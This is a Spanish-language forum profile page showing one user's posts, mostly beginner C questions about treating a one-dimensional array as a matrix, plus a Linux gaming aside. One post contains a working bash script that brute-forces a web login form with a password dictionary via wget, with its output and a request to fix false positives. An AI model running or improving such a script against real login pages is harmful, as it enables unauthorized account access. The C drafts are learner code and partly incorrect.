Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - GGZ

#121
Cita de: A.I. en  2 Octubre 2015, 00:25 AM
El que llama a la función "ve" esto

10 10 10 // Ésto es una matriz
10 99 10
10 10 10

Sin embargo la función sólo conoce ésto

10 10 10 10 99 10 10 10  //Ésto es un array unidimensional

Tienes que hacer algo para que a partir de la fila y la columna, la función pueda obtener el indice equivalente para el array.

Es decir si llamas a la función así:

pos(array, 1, 1) ;

la función debe transformar ese (1,1) que son las coordenadas del elemento en la matriz a un 4 y entonces hacer

return array[4];

Que en este caso sería el 99.

Si no sabes como rellenar un array quizá este problema te venga grande...
Haz un for de N iteraciones donde en cada una pida, genere (o lo que quieras)... un número y lo vaya asignando a posiciones consecutivas del array. Pero hazlo tras declarar el array y no antes.


Todavía no la saco, me parece que lo estoy pensando mal porque se me está complicando demasiado.

/*
Dado un arreglo de m*n enteros, escribir una función pos que tome una fila y una columna, y devuelva el entero correspondiente a esa posición, es decir interpreté el arreglo unidimensional como una matriz.
*/

#include <stdio.h>
/*
int pos (int a[], int fila, int columna){
// pos(a,1,1)

// 10 11
// 12 13

//array(1,2)=a[3*n+(columna-1)]=a[3*1+1]=a[4]


// pos(a,2,2) = a[4]

// 10 11 12 13

a[4];



}
*/

int main (void){
int n,m,l=0; // arrays
int i,j;
int fila,columna;
int z=10;

printf ("Introduce el numero de filas: ");
scanf ("%d",&n);
printf ("Introduce el numero de columnas: ");
scanf ("%d",&m);

/// N=n*m;

int array[n][m];
int array_u[l]; // array unidimensional.

for (i=0;i<n; i++){
for (j=0; j<m; j++){
array[i][j]=z++;
}
}

printf ("Imprimiendo elementos array ...\n");

for (i=0; i<n; i++){
for (j=0; j<m; j++){
printf ( "%d ",array[i][j]);
}
printf ("\n");

}

printf ("Ingresa el numero de fila y columna: \n");
scanf ("%d %d",&fila,&columna);

for (i=0; i<n; i++){
for (j=0; j<m; j++){
array_u[l]=array[i][j];
l++;
}
}
printf ("\n");
for (l=0; l<n*m; l++)printf ("%d ",array_u[l]); // Esto es lo que le paso a la función.

//pos(array_u,fila,columna);



return 0;
}
#122
Vale aclarar que esto solo lo hago para aprender más y, divertirme un poco.
No para hacer nada malo.

Código (bash) [Seleccionar]
echo "Bruteforce attack!";
USUARIO=$1
DICCIONARIO=$2
LINEAS=`cat $DICCIONARIO | wc -l`
echo -e "User: $USUARIO\nReading: $DICCIONARIO"
i=0;


while read pass; do
                       i=$(($i+1));
# echo -n "[*] $pass: ";
if [[ "`wget --wait=30 --user-agent=Mozilla/5.0 --save-cookies cookies.txt -qO- --post-data \"nombre_equipo=$USUARIO&pass=$pass\" http://127.0.0.1/php/login.php`" =~ "no coinciden" ]];
then
echo -ne "[*] $i de $(($LINEAS-1)) \r";
else
echo "Found  $pass"; exit;
 
fi
done < $DICCIONARIO



Salida:

Código (bash) [Seleccionar]
sh brute.sh juan numeros.txt
Bruteforce attack!
User: profe
Reading: numeros.txt
[*] 7 de 293






El problema que tengo con esto es que a veces me tira "Falsos positivos" y es por el wget es como que le "apuro" no recibe el paquete o algo,

¿Cómo podría solucionar esto?

Versión mejorada:

Código (bash) [Seleccionar]
echo "Bruteforce attack!";
USUARIO=$1
DICCIONARIO=$2
LINEAS=`cat $DICCIONARIO | wc -l`
echo -e "User: $USUARIO\nReading: $DICCIONARIO"
i=0;


while read pass; do
   i=$(($i+1));
   #echo -n "[*] $pass: ";
   if [[ "`wget --wait=30 --user-agent=Mozilla/5.0 --save-cookies cookies.txt -qO- --post-data \"nombre_equipo=$USUARIO&pass=$pass\" http://***.***/php/login.php`" =~ "no coinciden" ]];
   then
echo -ne "[*] $i de $(($LINEAS)) \r";
   else
echo "(False positive?) Found $pass";

   fi
done < $DICCIONARIO



Gracias, Saludos!
#123
/*
Dado un arreglo de m*n enteros, escribir una función pos que tome una fila y una columna, y devuelva el entero correspondiente a esa posición, es decir interpreté el arreglo unidimensional como una matriz.
*/
#include <stdio.h>

int pos(char a[], int x, int y){

printf ("Elemento correspodiente a la fila %d y columna %d: %d\n",x,y,a[x][y]);
return a[x][y];
}


int main (void){

int n,m;
int N;

printf ("Introduzca las n filas: ");
scanf ("%d",&n);
printf ("Introduzca las m columnas: ");
scanf ("%d",&m);

N=n*m;

       // ¿Cómo lo lleno con bucles?
//for

int a[N];

        /*
        ..........
        */

pos(a, 3,6);



return 0;
}


Sigo sin entenderlo del todo...
#124
Bueno, pero cómo hago para pasarle una fila y una columna, además a qué se refiere con interpreté el arreglo unidimensional como una matriz.

O sea yo le paso una fila y una columna y el me debería devolver una matriz de eso, no realmente no lo entiendo.
#125
Dado un arreglo de m*n enteros, escribir una función pos que tome una fila y una columna, y devuelva el entero correspondiente a esa posición, es decir interpreté el arreglo unidimensional como una matriz.

¿Cómo hago esto?


Ni siquiera se me ocurre como empezar,
¿un arreglo de m*n enteros? ¿a qué se refiere con eso?

int a[m][n]; ?

Y cómo es eso que tome unafila y una columna, realmente estoy perdido.

Saludos!
#126
Listo, perfecto!

Una duda más, si yo hago un
printf ("Ingrese 3 numeros: \n");
scanf ("%d %d %d",&a,&b,&c);


¿Cómo hago para verificar si el usuario no introdujo ningún número?
Es decir si yo ejecuto la aplicación y sin introducir ningún número la termino Ctrl-C, me tira un número random y eso es porque no está definida.

¿Cómo puedo verificar si a b y c son nulos digamos?
#127
¿Cómo? no termino de entenderlo, te puedes explicar un poco más.
#128
Si cierto, pero a qué se refiere con "luego devolver la posición del primer entero duplicado"
no lo entiendo.

printf ("%d",a[0]*2)

???
#129
Programación C/C++ / [C] ¿Debería usar un puntero?
22 Septiembre 2015, 00:52 AM
Escribir un programa que lea un entero n y luego solicite al usuario el ingreso de n enteros, luego devolver la posición del primer entero duplicado.


¿Debería usar un puntero de ser así, como lo declararía usando malloc?
#130
GNU/Linux / Re: Juegos en linux: Si es posible!!!
22 Septiembre 2015, 00:12 AM
Cita de: NOS DOMINAN DEMONIACAMENTE en 13 Enero 2015, 20:48 PM
i la consola esta jejeje >

http://blog.desdelinux.net/la-nueva-consola-steam-box-de-valve-utilizara-linux/

Y la PS3 y PS4 que SO usan ?
Algo basado en el kernel de Linux/Unix ?